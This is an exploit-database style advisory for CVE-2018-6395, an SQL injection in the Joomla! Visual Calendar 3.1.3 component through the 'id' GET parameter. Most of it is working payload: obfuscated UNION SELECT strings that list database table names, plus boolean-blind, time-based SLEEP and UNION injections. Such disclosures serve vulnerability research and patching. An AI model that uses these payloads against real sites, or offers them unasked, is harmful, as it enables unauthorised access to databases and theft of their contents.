41 lines
No EOL
2 KiB
Text
41 lines
No EOL
2 KiB
Text
# # # # #
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# Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection
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# Dork: N/A
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# Date: 30.01.2018
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# Vendor Homepage: http://www.joomlacalendars.com/
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# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/visual-calendar/
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# Version: 3.1.3
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# Category: Webapps
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# Tested on: WiN7_x64/KaLiLinuX_x64
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# CVE: CVE-2018-6395
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# # # # #
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# Exploit Author: Ihsan Sencan
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# Author Web: http://ihsan.net
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# Author Social: @ihsansencan
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# # # # #
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# Description:
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# The vulnerability allows an attacker to inject sql commands....
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#
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# Proof of Concept:
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#
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# 1)
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# http://localhost/[PATH]/index.php?option=com_visualcalendar&view=load&id=[SQL]
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#
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# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%20(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x32%2c0x33%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
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#
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# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%201%2c0x32%2c(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
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#
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# Parameter: id (GET)
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# Type: boolean-based blind
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# Title: AND boolean-based blind - WHERE or HAVING clause
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# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND 2616=2616
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#
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# Type: AND/OR time-based blind
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# Title: MySQL >= 5.0.12 AND time-based blind
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# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND SLEEP(5)
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#
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# Type: UNION query
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# Title: Generic UNION query (NULL) - 6 columns
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# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 UNION ALL SELECT CONCAT(0x716a627a71,0x586a6c7676787a6f684c73745863744b7955784a47534d58797158564a53716d6b57434f6141536c,0x71786b6a71),NULL,NULL,NULL,NULL,NULL-- QpYd
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#
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# # # # # |